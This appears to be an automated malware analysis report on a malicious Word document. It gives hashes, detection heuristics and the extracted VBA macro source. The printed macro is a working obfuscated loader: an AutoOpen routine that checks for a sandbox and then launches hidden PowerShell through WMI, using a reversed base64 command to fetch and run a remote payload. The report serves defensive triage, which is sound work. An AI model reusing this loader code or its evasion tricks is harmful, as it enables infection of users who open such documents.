Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4986e69190027128…

MALICIOUS

Office (OLE)

105.5 KB Created: 2020-07-28 15:43:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 789ecafc54917391958fee856a754bd5 SHA-1: 657c4f21dccb4cab4d2f0ab40a8d47ec80227aaa SHA-256: 4986e69190027128e0c573f0aa29978102dde196ddf47391ad1c60c54f68e0e9
284 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains heavily obfuscated VBA macros, including an AutoOpen function, which is a common loader technique. The script attempts to download and execute a second-stage payload by leveraging WMI and potentially PowerShell, indicated by the obfuscated strings and GetObject calls. The presence of ClamAV detection and multiple high-severity heuristics confirms its malicious nature.

Heuristics 9

  • ClamAV: Doc.Malware.Sagent-9392581-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9392581-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10491 bytes
SHA-256: 67f65c7963f1fcffed3b55f0735f1ccadb9e749e71f39e4ca6a1eb463204716a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()

Dim strFileExists As String
strFileExists = Dir("C:\" + "\aa" + "a_T" + "ouch" + "Me" + "N" + "ot.txt")
If strFileExists <> "" Then
       End
End If

Set Ieraj = GetObject("winmgmts:").Get("Win32_PingS" + "tatus.Address='treIean" + "bvjeal.micro" + "soft.com',ResolveAddr" + "essNames=True")
With Ieraj
    If .StatusCode = 45 - 45 Then
            End
        ElseIf .StatusCode > 321 - 321 Then
            End
        End If
End With
DoEvents
Call GetObject(StrReverse("ss" + "ec" + "orP_" + "23niW" + ":2" + "vmi" + "c\t" + "oor:" + "stm" + "gm" + "n" + "iw")). _
Create(StrReverse("=AgbAUGA5BwbAIGAgAAdAMHApBATAQHAu" + "BQZA0GA1BwZAIHABBQLAACA5BwcAQHAqBAMAACAzBwcAUGAjBwbAIHAQBQLAQHAyBQYAQHATBAIAACA7AgbAUGA5BwbAIGAgAANA8GA0BgYAwGAgAQZAQGAvBwYAUGAkBQLAACAsBQaAQHA1BAdAIHAlBwYAAC" + "A7AgIAAFANBQRAQFA6AgdA4GAlBAJAICAgAAaAQHAhBAUA0CAgAgbA8GApBAdAEGAjBwbAwEAtAAdAUGATBAIAsDAiAQbA8G" + "AjBgLAkFAsBwaAoFAJBAXAAFANBQRAQFA6AgdA4GAlBAJAICAsAgIAQDAvBAdAIGAsBAXAAFANBQRAQFA6AgdA4GAlBAJAICAsAgIA" + "0GAvBwYA4CA5BwcAQHAqBAMAwFAQBQTAUEAUBgOAYHAuBQZAQCAiAAIA4GAvBQaAQHAhBgbAkGA0BwcAUGAEBQLAACAtBwbAMGAuA" + "QWAwGArBgWAkEAvAAMAUDAuAwMAcDAxAgLAQDA0AgMA4CA1AAOAEDAvAwLAoDAwBAdAQHAo" + "BALA0GAvBwYA4CAyBQYAoEASBwLAADA1AgLAMDA3AQMA4CA0AANAIDAuAQNAgDAxAwLA8CA6AAcAQHA0BAaAwCAtBwbAMGAuAgQAoFAmBgWAsGAvAAMAUDAuAwMAcDAx" + _
"AgLAQDA0AgMA4CA1AAOAEDAvAwLAoDAwBAdAQHAoBAIAUGAjBgcAUHAvBwUA0CAgAgcAUGAmBwcA4GAhBgcAQFAzBAdAkGACBQLAQHAyBQYAQHATBAIAsDAyBQZAYGAzBgbAEGAyBAVAMHA0B" + "QaAIEAgAQZAwGA1BAZA8GANBQLAQHAyBwbAAHAtBQS e- ne" + "ddi" + "h ely" + "tswodn" + "iw- l" + StrReverse("hel") + "sr" + "e" + "w" + "op"), Null, Null, BehanKe)
End Sub

Sub Homework2()
    
    ' Create a script that will loop through all the stocks for one year and output the following information.
        ' The ticker symbol.
        ' Yearly change from opening price at the beginning of a given year to the closing price at the end of that year.
        ' The percent change from opening price at the beginning of a given year to the closing price at the end of that year.
        ' The total stock volume of the stock.
    ' You should also have conditional formatting that will highlight positive change in green and negative change in red.
    
                
    
    'loop thtrough Worksheets
    
    For Each ws In Worksheets  'remember to add the ws to each cell reference
        
        ' set the table headers
        ws.Range("I1").Value = "Ticker"
        ws.Range("J1").Value = "Yearly Change"
        ws.Range("K1").Value = "Percent Change"
        ws.Range("L1").Value = "Total Stock Volume"
    
    
        'Dim year_change As Double
        'Dim pct_change As Double
        
        ' define variable holding the ticker
        Dim ticker As String
        
        ' declare the variable holdingthe open/close price
        Dim openprice As Double
        Dim closeprice As Double
        Dim pct_change As Double
        ' declare the variable holding the total volume and set initial value for the counter
        Dim total_volume As LongLong
        total_volume = 0
        
        ' counter for number of rows
        Dim icounter As Integer
        icounter = 0
        
        ' define new tablerow starting point
        Dim new_table_row As Long
        new_table_row = 2
        
        ' find the last row
        lastRow = ws.Cells(Rows.Count, 1).End(xlUp).Row
                
        ' Loop through tickers
        For I = 2 To lastRow
            
            If ws.Cells(I, 1).Value <> ws.Cells(I + 1, 1).Value Then
                
                icounter = icounter + 1
                
                       
                ' set ticker name
                ticker = 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.